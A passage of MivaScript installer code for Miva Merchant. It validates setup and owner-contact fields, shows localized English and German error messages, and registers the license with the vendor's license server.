				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Hauptverzeichnis f�r Module ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
			<MvFUNCTIONRETURN VALUE = "BAD">
		</MvIF>
	<MvELSE>
		<MvIF EXPR = "{ ( '/' IN g.Site_Install_Module_Root ) NE 1 }">
			<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
			<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
				<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00150">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">The root directory for modules MUST be an absolute path.  (i.e. it MUST start with /)</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bei dem Hauptverzeichnis f�r Module MUSS es sich um einen absoluten Pfad handeln. (d.h., es MUSS mit/beginnen)</MvLOCALIZED-TEXT>
				</MvLOCALIZED>
				<MvFUNCTIONRETURN VALUE = "BAD">
			</MvIF>
		<MvELSE>
			<MvIF EXPR = "{ substring( g.Site_Install_Module_Root, len( g.Site_Install_Module_Root ), 1 ) NE '/' }">
				<MvASSIGN NAME = "g.Site_Install_Module_Root" VALUE = "{ g.Site_Install_Module_Root $ '/' }">
			</MvIF>
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ len( g.Site_Install_MailHost ) EQ 0 }">
		<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
		<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
			<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00151">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the name of your mail server</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Namen Ihres Mail-Servers ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
			<MvFUNCTIONRETURN VALUE = "BAD">
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ ( len( g.Site_Install_MivaMerchantSecureURL ) OR len( g.Site_Install_URL_Admin_Secure ) ) AND
					( ( len( g.Site_Install_Module_Root_Secure ) EQ 0 ) OR ( len( g.Site_Install_URL_Base_Secure ) EQ 0 ) ) }">
		<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
		<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
			<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00152">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure URL to Miva Merchant</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den sicheren URL von Miva Merchant ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
			<MvFUNCTIONRETURN VALUE = "BAD">
		</MvIF>
	</MvIF>


	<MvIF EXPR = "{ len( g.Site_Install_LanguageCode ) OR len( g.Site_Install_Display_Setup_Steps ) OR len( g.Site_Install_Accept_EULA ) OR len( g.Site_Install_Domain_Owner ) OR len( g.Site_Install_Domain_Email ) OR len( g.Site_Install_Domain_Company ) OR len( g.Site_Install_Domain_Address ) OR len( g.Site_Install_Domain_City ) OR len( g.Site_Install_Domain_State ) OR len( g.Site_Install_Domain_Zip ) OR len( g.Site_Install_Domain_Country ) OR len( g.Site_Install_Domain_Phone ) OR len( g.Site_Install_Domain_Fax ) OR len( g.Site_Install_User_Name ) OR len( g.Site_Install_User_Password ) }">

		<MvIF EXPR = "{ substring( toupper( g.Site_Install_Display_Setup_Steps ), 1, 1 ) EQ 'Y' }">
			<MvASSIGN NAME = "g.Install_Display_Setup_Steps" VALUE = "Yes">
		<MvELSE>
			<MvASSIGN NAME = "g.Install_Display_Setup_Steps" VALUE = "No">
		</MvIF>


		<MvIF EXPR = "{ g.Install_Display_Setup_Steps NE 'Yes' }">
			<MvIF EXPR = "{ len( g.Site_Install_Display_Setup_Steps ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00153">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please specify whether or not to display steps</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			</MvIF>

			<MvIF EXPR = "{ len( g.Site_Install_Accept_EULA ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00154">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">You must accept the terms of the license agreement to use Miva Merchant</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Sie m�ssen die Bedingungen der Lizenzvereinbarung annehmen, um Miva benutzen zu k�nnen</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			</MvIF>
			<MvIF EXPR = "{ len( g.Site_Install_Domain_Owner ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00155">
						<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the name of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Namen des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			</MvIF>
			<MvIF EXPR = "{ len( g.Site_Install_Domain_Email ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00156">
						<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the email address of the owner of this installation of Miva Merchant v%merc_vers%</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die E-Mail-Adresse des Besitzers dieser Installation von Miva Merchant v%merc_vers% ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			<MvELSE>									
				<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.good" VALUE = "{ Validate_Email( g.Site_Install_Domain_Email ) }">
				<MvIF EXPR = "{ NOT l.good }">
					<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
					<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
						<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00157">
							<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
							<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the email address of the owner of this installation of Miva Merchant v%merc_vers%</MvLOCALIZED-TEXT>
							<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die E-Mail-Adresse des Besitzers dieser Installation von Miva Merchant v%merc_vers% ein</MvLOCALIZED-TEXT>
						</MvLOCALIZED>
						<MvFUNCTIONRETURN VALUE = "BAD">
					</MvIF>
				</MvIF>
			</MvIF>

			<MvIF EXPR = "{ len( g.Site_Install_Domain_Address ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00158">
						<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }"> 
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the address of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Strasse des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			</MvIF>
			<MvIF EXPR = "{ len( g.Site_Install_Domain_City ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00159">
						<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the city of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Wohnort des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			</MvIF>
			<MvIF EXPR = "{ (g.Site_Install_Domain_Country EQ 'US') AND (len( g.Site_Install_Domain_State ) EQ 0) }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00160">
						<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the state/province of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Bundesland des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			</MvIF>
			<MvIF EXPR = "{ len( g.Site_Install_Domain_Zip ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00161">
						<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the Zip/Postal code of of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Postleitzahl des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			<MvELSE>									
				<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.good" VALUE = "{ Validate_Zip( g.Site_Install_Domain_Zip, g.Site_Install_Domain_Country ) }">
				<MvIF EXPR = "{ NOT l.good }">
					<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
					<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
						<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00162">
							<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
							<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the Zip/Postal code of of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
							<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Postleitzahl des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
						</MvLOCALIZED>
						<MvFUNCTIONRETURN VALUE = "BAD">
					</MvIF>
				</MvIF>
			</MvIF>
			<MvIF EXPR = "{ len( g.Site_Install_Domain_Country ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00163">
						<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please select the country of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte w�hlen Sie das Land des Besitzers dieser Installation von Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			</MvIF>
			<MvIF EXPR = "{ len( g.Site_Install_Domain_Phone ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00164">
						<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the phone number of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Telefonnummer des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			<MvELSE>									
				<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.good" VALUE = "{ Validate_Phone( g.Site_Install_Domain_Phone, g.Site_Install_Domain_Country ) }">
				<MvIF EXPR = "{ NOT l.good }">
					<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
					<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
						<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00165">
							<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
							<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the phone number of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
							<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Telefonnummer des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
						</MvLOCALIZED>
						<MvFUNCTIONRETURN VALUE = "BAD">
					</MvIF>
				</MvIF>
			</MvIF>
			<MvIF EXPR = "{ len( g.Site_Install_User_Name ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00166">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter a name for the default administrative user</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie einen Namen f�r den administrativen Standardbenutzer ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			</MvIF>
			<MvIF EXPR = "{ len( g.Site_Install_User_Password ) EQ 0 }">
				<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
				<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
					<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00167">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter a password</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie ein Passwort ein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
					<MvFUNCTIONRETURN VALUE = "BAD">
				</MvIF>
			</MvIF>
		</MvIF>
	</MvIF>
	<MvFUNCTIONRETURN VALUE = "{ l.isp_defaults }">
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_Validate" STANDARDOUTPUTLEVEL = "">
	<MvASSIGN NAME = "l.valid" VALUE = "1">
	<MvEVAL EXPR = "{ Setup_Wizard_SetSteps() }">
	
	<MvASSIGN NAME = "g.Install_Domain_License" VALUE = "{ ltrim( rtrim( g.Install_Domain_License ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Name" VALUE = "{ ltrim( rtrim( g.Install_Domain_Name ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Owner" VALUE = "{ ltrim( rtrim( g.Install_Domain_Owner ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Email" VALUE = "{ ltrim( rtrim( g.Install_Domain_Email ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Company" VALUE = "{ ltrim( rtrim( g.Install_Domain_Company ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Address" VALUE = "{ ltrim( rtrim( g.Install_Domain_Address ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_City" VALUE = "{ ltrim( rtrim( g.Install_Domain_City ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_State" VALUE = "{ ltrim( rtrim( g.Install_Domain_State ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Zip" VALUE = "{ ltrim( rtrim( g.Install_Domain_Zip ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Country" VALUE = "{ ltrim( rtrim( g.Install_Domain_Country ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Phone" VALUE = "{ ltrim( rtrim( g.Install_Domain_Phone ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Fax" VALUE = "{ ltrim( rtrim( g.Install_Domain_Fax ) ) }">
	<MvASSIGN NAME = "g.Install_MivaMerchantURL" VALUE = "{ ltrim( rtrim( g.Install_MivaMerchantURL ) ) }">
	<MvASSIGN NAME = "g.Install_MivaMerchantSecureURL" VALUE = "{ ltrim( rtrim( g.Install_MivaMerchantSecureURL ) ) }">
	<MvASSIGN NAME = "g.Install_URL_Base" VALUE = "{ ltrim( rtrim( g.Install_URL_Base ) ) }">
	<MvASSIGN NAME = "g.Install_ImageRoot" VALUE = "{ ltrim( rtrim( g.Install_ImageRoot ) ) }">
	<MvASSIGN NAME = "g.Install_URL_Base_Secure" VALUE = "{ ltrim( rtrim( g.Install_URL_Base_Secure ) ) }">
	<MvASSIGN NAME = "g.Install_Module_Root" VALUE = "{ ltrim( rtrim( g.Install_Module_Root ) ) }">
	<MvASSIGN NAME = "g.Install_Module_Root_Secure" VALUE = "{ ltrim( rtrim( g.Install_Module_Root_Secure ) ) }">
	<MvASSIGN NAME = "g.Install_MailHost" VALUE = "{ ltrim( rtrim( g.Install_MailHost ) ) }">
	<MvASSIGN NAME = "g.Install_Mail_AddAngleBrackets" VALUE = "{ ltrim( rtrim( g.Install_Mail_AddAngleBrackets ) ) }">

	<MvIF EXPR = "{ NOT g.Install_Accept_EULA }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00005">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">You must accept the terms of the license agreement to use Miva Merchant</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Sie m�ssen die Bedingungen der Lizenzvereinbarung annehmen, um Miva benutzen zu k�nnen</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_EULA, 'Install_Accept_EULA', field_error ) }">
	</MvIF>
	
	<MvIF EXPR = "{ len( g.Install_Domain_License ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00006">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter a valid Miva Merchant v%merc-vers% license number</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie eine g�ltige Miva Merchant v%merc-vers% Lizenznummer ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_License, 'Install_Domain_License', field_error ) }">
	<MvELSE>
		<MvASSIGN NAME = "API" VALUE = "{ s.apitype }">
		<MvASSIGN NAME = "MERCHANT_HOST" VALUE = "{ s.server_name }">
		<MvASSIGN NAME = "LICENSE_NUMBER" VALUE = "{ g.Install_Domain_License }">
		<MvASSIGN NAME = "MERCHANT_VERSION" VALUE = "{ g.Merchant_Version }">
		<MvASSIGN NAME = "NAME" VALUE = "{ g.Install_Domain_Owner }">
		<MvASSIGN NAME = "COMPANY" VALUE = "{ g.Install_Domain_Company }">
		<MvASSIGN NAME = "ADDRESS" VALUE = "{ g.Install_Domain_Address }">
		<MvASSIGN NAME = "CITY" VALUE = "{ g.Install_Domain_City }">
		<MvASSIGN NAME = "STATE" VALUE = "{ g.Install_Domain_State }">
		<MvASSIGN NAME = "ZIP" VALUE = "{ g.Install_Domain_Zip }">
		<MvASSIGN NAME = "COUNTRY" VALUE = "{ g.Install_Domain_Country }">
		<MvASSIGN NAME = "PHONE" VALUE = "{ g.Install_Domain_Phone }">
		<MvASSIGN NAME = "FAX" VALUE = "{ g.Install_Domain_Fax }">
		<MvASSIGN NAME = "EMAIL" VALUE = "{ g.Install_Domain_Email }">
		<MvASSIGN NAME = "PRODUCT_LINE" VALUE = "MERCHANT">
		<MvASSIGN NAME = "PRODUCT_TYPE" VALUE = "DOMAIN">
		<MvASSIGN NAME = "OPERATIONS" VALUE = "REGISTER">
		<MvASSIGN NAME = "LANGUAGE" VALUE = "{ s.miva_language }">
		<MvIF EXPR = "{ len( g.Install_MivaMerchantURL ) }">
			<MvASSIGN NAME = "MERCHANT_STOREURL" VALUE = "{ g.Install_MivaMerchantURL }">
		<MvELSE>
			<MvIF EXPR = "{ len( g.Site_Install_MivaMerchantURL ) }">
				<MvASSIGN NAME = "MERCHANT_STOREURL" VALUE = "{ g.Site_Install_MivaMerchantURL }">
			<MvELSE>
				<MvASSIGN NAME = "MERCHANT_STOREURL" VALUE = "{ g.Install_URL_Merchant_Detected }">
			</MvIF>
		</MvIF>
		
		<MvASSIGN NAME = "l.valid" VALUE = "0">
		
		<MvLOCALIZED NAME = "l.error_text" ID = "MER-SET-00007">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Unable to register license number</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Lizenznummer kann nicht registriert werden</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvCALL METHOD = "POST"
				ACTION = "http://licensemgr.miva.com/gateway/gateway.mv"
				FIELDS = "MERCHANT_HOST, API, LICENSE_NUMBER, MERCHANT_VERSION, NAME, COMPANY, ADDRESS,
						  CITY, STATE, ZIP, COUNTRY, PHONE, FAX, EMAIL, PRODUCT_LINE, PRODUCT_TYPE, LANGUAGE, MERCHANT_STOREURL">
			<MvIF EXPR = "{ s.callobjectelement EQ 'LmLICENSE' }">
				<MvASSIGN NAME = "l.attribute" VALUE = 1>
				<MvWHILE EXPR = "{ ( l.attribute LE s.callobjectnumattributes ) }">
					<MvIF EXPR = "{ s.callobjectattribute[ l.attribute ] EQ 'VALID' }">
						<MvASSIGN NAME = "l.valid_value" VALUE = "{ s.callobjectvalue[ l.attribute ] }">
					</MvIF>
					<MvIF EXPR = "{ s.callobjectattribute[ l.attribute ] EQ 'ERROR_CODE' }">
						<MvASSIGN NAME = "l.error_code_value" VALUE = "{ s.callobjectvalue[ l.attribute ] }">
					</MvIF>
					<MvIF EXPR = "{ s.callobjectattribute[ l.attribute ] EQ 'ERROR_MESSAGE' }">
						<MvASSIGN NAME = "l.error_message_value" VALUE = "{ s.callobjectvalue[ l.attribute ] }">
					</MvIF>
					<MvASSIGN NAME = "l.attribute" VALUE = "{ l.attribute + 1 }">
				</MvWHILE>
			</MvIF>
		</MvCALL>

		<MvIF EXPR = "{ toupper( l.valid_value ) EQ 'YES' }">
			<MvASSIGN NAME = "l.valid" VALUE = "1">
		<MvELSE>
			<MvASSIGN NAME = "l.error_message_value" VALUE = "{ ltrim( rtrim( l.error_message_value ) ) }">
			<MvASSIGN NAME = "l.error_code_value" VALUE = "{ ltrim( rtrim( l.error_code_value ) ) }">
			<MvIF EXPR = "{ NOT len( l.error_message_value ) }">
				<MvIF EXPR = "{ len( l.error_code_value ) }">
					<MvASSIGN NAME = "l.error_text" VALUE = "{ l.error_code_value }">
				</MvIF>
			<MvELSE>
				<MvASSIGN NAME = "l.error_text" VALUE = "{ l.error_message_value }">
			</MvIF>
		</MvIF>

		<MvIF EXPR = "{ NOT l.valid }">
			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_License, 'Install_Domain_License', l.error_text ) }">
		</MvIF>
	</MvIF>
	
	<MvIF EXPR = "{ len( g.Install_Domain_Owner ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00009">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the name of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Namen des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_SecurePaths, 'Install_Domain_Owner', l.field_error ) }">
	</MvIF>

	<MvIF EXPR = "{ l.valid }">
		<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.ok" VALUE = "{ Validate_Email( g.Install_Domain_Email ) }">
		<MvIF EXPR = "{ NOT l.ok }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00010">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the email address of the owner of this installation of Miva Merchant v%merc_vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die E-Mail-Adresse des Besitzers dieser Installation von Miva Merchant v%merc_vers% ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Owner, 'Install_Domain_Email', l.field_error ) }">
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ len( g.Install_Domain_Address ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00011">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }"> 
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the address of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Strasse des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Owner, 'Install_Domain_Address', l.field_error ) }">
	</MvIF>

	<MvIF EXPR = "{ len( g.Install_Domain_City ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00012">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the city of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Wohnort des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Owner, 'Install_Domain_City', l.field_error ) }">
	</MvIF>

	<MvASSIGN NAME = "g.Install_Domain_Use_State" VALUE = "{ g.Install_Domain_State }">
	<MvIF EXPR = "{ len( g.Install_Domain_Use_State ) EQ 0 }">
		<MvASSIGN NAME = "g.Install_Domain_Use_State" VALUE = "{ g.Install_Domain_StateSelect }">
	</MvIF>

	<MvIF EXPR = "{ g.Install_Domain_Country EQ 'US' }">
		<MvIF EXPR = "{ len( g.Install_Domain_Use_State ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00013">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the state/province of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Bundesland des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
